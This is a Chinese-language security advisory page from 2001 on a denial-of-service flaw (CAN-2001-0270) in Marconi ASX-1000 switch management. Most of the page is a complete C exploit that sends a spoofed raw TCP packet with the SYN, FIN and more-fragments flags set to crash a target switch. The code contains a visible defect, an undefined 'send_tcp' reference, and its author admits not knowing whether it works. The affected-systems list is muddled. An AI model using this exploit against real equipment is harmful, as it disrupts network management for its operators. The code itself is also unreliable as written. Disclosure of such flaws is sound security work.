首页 -> 安全研究
安全研究
安全漏洞
Marconi ASX-1000 交换机管理拒绝服务漏洞
发布日期:2001-02-26
更新日期:2001-02-26
受影响系统:
描述:
Marconi ForeThought 6.2
- MandrakeSoft Linux Mandrake 7.2
- MandrakeSoft Linux Mandrake 7.1
- MandrakeSoft Corporate Server 1.0.1
BUGTRAQ ID: 2400
CVE(CAN) ID: CAN-2001-0270
Marconi公司出品的ASX-1000交换机是一款适用于在ATM网络进行3层交换的交换机。
它存在一个拒绝服务的问题。远程攻击者可能通过发送恶意的报文导致管理员不能
远程对交换机进行管理访问。
如果一个报文同时设置了SYN_FIN以及分片标志,交换机在收到这样的报文时,其
用于交换机管理的服务程序会进入close_wait状态,必须重设端口或者重开电源才
能恢复正常工作。
<* 来源:Keith Pachulski (keith.pachulski@corp.ptd.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
J.K. Garvey (jim@trig.org)提供了如下演示代码:
/*
This DoS attack was discovered by Keith Pachulski and written by J.K.
Garvey. This simple program sets the SYN, FIN and More Fragment bits and
sends this crafted packet from a spoofed host to a destined Fore/Marconi
ASX switch, which causes it to crash. I have no idea if this works, but it
does what Keith Pachulski described.
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#define IP_MF 0x2000 /* More fragment bits */
void forge (unsigned int, unsigned int, unsigned short);
unsigned short in_cksum (unsigned short *, int);
unsigned int host_convert (char *);
void usage (char *);
main (int argc, char **argv)
{
unsigned int source_host = 0, dest_host = 0;
unsigned short source_port = 0, dest_port = 80;
int input;
char desthost[16], srchost[16];
printf ("\nDenial of Service attack for Fore/Marconi ASX Switches\n");
printf
("Found by Keith Pachulski <keithp@corp.ptd.net>\nExploit written by J.K. Garvey <jim@trig.org>\n");
if (getuid () != 0)
{
printf
("\nRoot is required. Duh.\n");
exit (0);
}
if (argc < 5)
{
usage (argv[0]);
exit (0);
}
while ((input = getopt (argc, argv, "s:d:p:")) != -1)
{
switch (input)
{
case 's':
source_host = host_convert (optarg);
strncpy (srchost, optarg, 16);
break;
case 'd':
dest_host = host_convert (optarg);
strncpy (desthost, optarg, 16);
break;
case 'p':
dest_port = atoi(optarg);
break;
}
}
forge (source_host, dest_host, dest_port);
printf ("\nCrafted packet sent!\n");
exit (0);
}
void
forge (unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port)
{
struct send
{
struct iphdr ip;
struct tcphdr tcp;
}
send;
/* From synhose.c by knight */
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}
pseudo_header;
int ch;
int send_socket;
int recv_socket;
struct sockaddr_in sin;
char *input;
srand ((getpid ()) * (dest_port));
/* Begin forged IP header */
send.ip.ihl = 5;
send.ip.version = 4;
send.ip.tos = 0;
send.ip.tot_len = htons (40);
send.ip.id = (int) (255.0 * rand () / (RAND_MAX + 1.0));
/* Note more fragments bit has been set */
send.ip.frag_off = htons (IP_MF);
send.ip.ttl = 64;
send.ip.protocol = IPPROTO_TCP;
send.ip.check = 0;
send.ip.saddr = source_addr;
send.ip.daddr = dest_addr;
/* Begin forged TCP header */
send.tcp.source = 1 + (int) (25.0 * rand () / (RAND_MAX + 1.0));
send.tcp.seq = 1 + (int) (10000.0 * rand () / (RAND_MAX + 1.0));
send.tcp.dest = htons (dest_port);
send.tcp.ack_seq = 0;
send.tcp.res1 = 0;
send.tcp.doff = 5;
/* Note FIN and SYN flags are set */
send.tcp.fin = 1;
send.tcp.syn = 1;
send.tcp.rst = 0;
send.tcp.psh = 0;
send.tcp.ack = 0;
send.tcp.urg = 0;
send.tcp.window = htons (512);
send.tcp.check = 0;
send.tcp.urg_ptr = 0;
/* Drop our forged data into the socket struct */
sin.sin_family = AF_INET;
sin.sin_port = send.tcp.source;
sin.sin_addr.s_addr = send.ip.daddr;
/* Now open the raw socket for sending */
send_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
if (send_socket < 0)
{
perror ("Send socket cannot be opened.");
exit (1);
}
/* Make IP header checksum */
send.ip.check = in_cksum ((unsigned short *) &send_tcp.ip, 20);
/* Final preparation of the full header */
/* From synhose.c by knight,otgpdvt */
pseudo_header.source_address = send.ip.saddr;
pseudo_header.dest_address = send.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons (20);
bcopy ((char *) &send.tcp, (char *) &pseudo_header.tcp, 20);
/* Final checksum on the entire package */
send.tcp.check = in_cksum ((unsigned short *) &pseudo_header, 32);
/* Away we go.... */
sendto (send_socket, &send, 40, 0,
(struct sockaddr *) &sin, sizeof (sin));
close (send_socket);
}
unsigned short
in_cksum (unsigned short *ptr, int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return (answer);
}
unsigned int
host_convert (char *hostname)
{
static struct in_addr i;
struct hostent *h;
i.s_addr = inet_addr (hostname);
if (i.s_addr == -1)
{
h = gethostbyname (hostname);
if (h == NULL)
{
fprintf (stderr, "cannot resolve %s\n", hostname);
exit (0);
}
bcopy (h->h_addr, (char *) &i.s_addr, h->h_length);
}
return i.s_addr;
}
void
usage (char *progname)
{
printf ("\nusage: %s -s source_host -d destination_host -p destination_port (default is 80)\n\n",
progname);
}
建议:
厂商补丁:
暂无
浏览次数:6123
严重程度:0(网友投票)
绿盟科技给您安全的保障